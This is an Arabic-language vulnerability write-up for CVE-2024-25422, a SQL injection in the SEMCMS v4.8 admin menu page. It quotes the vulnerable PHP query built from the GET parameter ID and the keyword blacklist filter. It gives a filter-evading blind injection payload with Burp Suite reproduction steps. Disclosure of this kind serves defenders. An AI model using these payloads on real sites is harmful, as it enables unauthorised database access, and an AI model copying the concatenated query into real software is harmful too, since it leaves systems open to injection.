
ثغرة حقن SQL في semcms(CVE-2024-25422 )
SEMCMS هو نظام إدارة محتوى (CMS) لمواقع التجارة الخارجية، ويدعم لغات متعددة.
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
أسباب الثغرات:
/xcR45q_Admin/SEMCMS_Menu.php السطر 66
كود الثغرة:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
يمكن ملاحظة أن المعامل ID هنا سينفّذ عبارة SQL عند تمرير المعاملات عبر GET
كود التصفية في /Include/contorl. PHP
السطر 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
وفي السطر 8
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
من خلال تصفية المحتوى أعلاه، يمكننا بناء حمولة (Payload)
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
إعادة إنتاج الثغرات
قم بزيارة الموقع
http://url/xcR45q_Admin/SEMCMS_Menu.php
التقاط الحزم عبر Brupsuite، ولأن طول اسم قاعدة البيانات هو 5 عند إنشاء موقع جديد، تم بناء الحمولة على النحو التالي:
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(تحديد ما إذا كان طول اسم قاعدة البيانات هو 5)
أدخل الحمولة لعرض الاستجابة

غيّر الحمولة في هذا الوقت
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(تحديد ما إذا كان طول اسم قاعدة البيانات هو 6)
غيّر الحمولة في هذا الوقت

يمكن مواصلة حقن SQL بناءً على التغيرات التي تظهر على الصفحة لاحقًا